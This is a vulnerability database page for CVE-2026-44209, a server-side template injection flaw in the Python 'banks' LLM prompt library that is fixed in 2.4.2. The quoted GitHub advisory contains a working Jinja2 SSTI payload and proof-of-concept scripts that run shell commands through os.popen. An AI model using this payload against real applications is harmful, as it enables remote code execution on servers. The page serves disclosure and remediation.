CVE-2026-44209
JSON

7.5high

Banks: Critical Remote Code Execution (RCE) via Jinja2 SSTI

Severity
7.5high CVSS:3.1 by GitHub_M
Exploit likelihood
0.52% (higher than 45% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-gphh-9q3h-jgppPYSEC-2026-2390

Description

Banks generates meaningful LLM prompts using a template language that makes sense. Prior to 2.4.2, banks uses jinja2.Environment() (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to Prompt() are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system. This vulnerability is fixed in 2.4.2.

Affected

Product or packageVersionsReported by
masci banks< 2.4.2CVE List
exploit-intelligence-tech-preview/vulnerability-analysis-rhel9Not specifiedCVE List
openshift-lightspeed/lightspeed-ocp-rag-rhel9Not specifiedCVE List
openshift-lightspeed/lightspeed-service-api-rhel9Not specifiedCVE List
openshift-lightspeed-tech-preview/lightspeed-rag-tool-rhel9Not specifiedCVE List
ansible-automation-platform-25/lightspeed-chatbot-rhel8Not specifiedCVE List
banks (PyPI)before 2.4.2GitHub Advisory Database, PyPA Advisory Database

All scores

GitHub_M7.5high CVSS:3.1CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
redhat-SADP7.5high CVSS:3.1CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
GitHub7.5high CVSS:3.1CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
PyPA Advisory Database7.5high CVSS:3.1CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Classification

CWE-917CWE-1336

SSVC (CISA-ADP): exploitation poc, automatable no, technical impact total.

What each source says

CVE List

Banks generates meaningful LLM prompts using a template language that makes sense. Prior to 2.4.2, banks uses jinja2.Environment() (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to Prompt() are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system. This vulnerability is fixed in 2.4.2.

GitHub Advisory Database

Summary

banks <= 2.4.1 uses jinja2.Environment() (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to Prompt() are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system.

This is a vulnerability in how banks initializes its Jinja2 environment — not in Jinja2 itself.

Vulnerable Code

src/banks/env.py — the global Jinja2 environment is created without sandboxing:

env = Environment(
    autoescape=select_autoescape(enabled_extensions=("html", "xml"), default_for_string=False),
    ...
)

Attack Scenario

An application that stores prompt templates in a database, accepts them via an API, or loads them from a user-supplied config file and passes them to Prompt() is vulnerable. For example:

# User-controlled input reaches Prompt()
user_input = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
p = Prompt(user_input)
p.text()  # Executes arbitrary command on the host

Proof of Concept

Setup:

pip install banks==2.4.1

PoC script:

from banks import Prompt

payload = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}"
p = Prompt(payload)
result = p.text()
print(f"[+] Output: {result}")

Confirmed output:

[+] Output: uid=1000(ak) gid=1000(ak) groups=1000(ak),27(sudo),...

text

**File-write proof:**
```python
from banks import Prompt

p = Prompt("{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo POC > /tmp/rce_banks_exec').read() }}")
p.text()
ls -l /tmp/rce_banks_exec
# -rw-rw-r-- 1 ak ak 4 Apr 27 15:36 /tmp/rce_banks_exec

Impact

Applications that allow end-users to supply or customize prompt templates are at risk of full Remote Code Execution, including arbitrary command execution, data exfiltration, and server compromise.

Fix

Fixed in banks 2.4.2 (PR #74) by switching to jinja2.sandbox.SandboxedEnvironment, which blocks the dunder attribute traversal chain this exploit relies on.

Developers on banks <= 2.4.1 should upgrade to 2.4.2 and avoid passing untrusted user input as the template argument to Prompt().

Resources

  • Fix: https://github.com/masci/banks/pull/74
  • CVE-2024-41950 (Haystack — identical root cause, CVSS 7.5)
  • CVE-2025-25362 (spacy-llm — identical root cause)
  • CWE-1336: Improper Neutralization of Special Elements in a Template Engine
NVD (es)

Banks genera prompts de LLM significativos utilizando un lenguaje de plantillas que tiene sentido. Antes de la versión 2.4.2, Banks utiliza jinja2.Environment() (sin sandbox) para renderizar plantillas de prompts. Las aplicaciones que pasan cadenas proporcionadas por el usuario como argumento de plantilla a Prompt() son vulnerables a la Inyección de Plantillas del Lado del Servidor (SSTI), lo que puede conducir a la Ejecución Remota de Código (RCE) en el sistema anfitrión. Esta vulnerabilidad está corregida en la versión 2.4.2.

References

Sources

SourceRecordLicence
CVE ListCVE-2026-44209 changed 2026-07-24CVE Terms of Use
GitHub Advisory DatabaseGHSA-gphh-9q3h-jgpp changed 2026-07-13CC-BY-4.0
NVDCVE-2026-44209 changed 2026-07-24Public domain
PyPA Advisory DatabasePYSEC-2026-2390 changed 2026-07-13CC-BY-4.0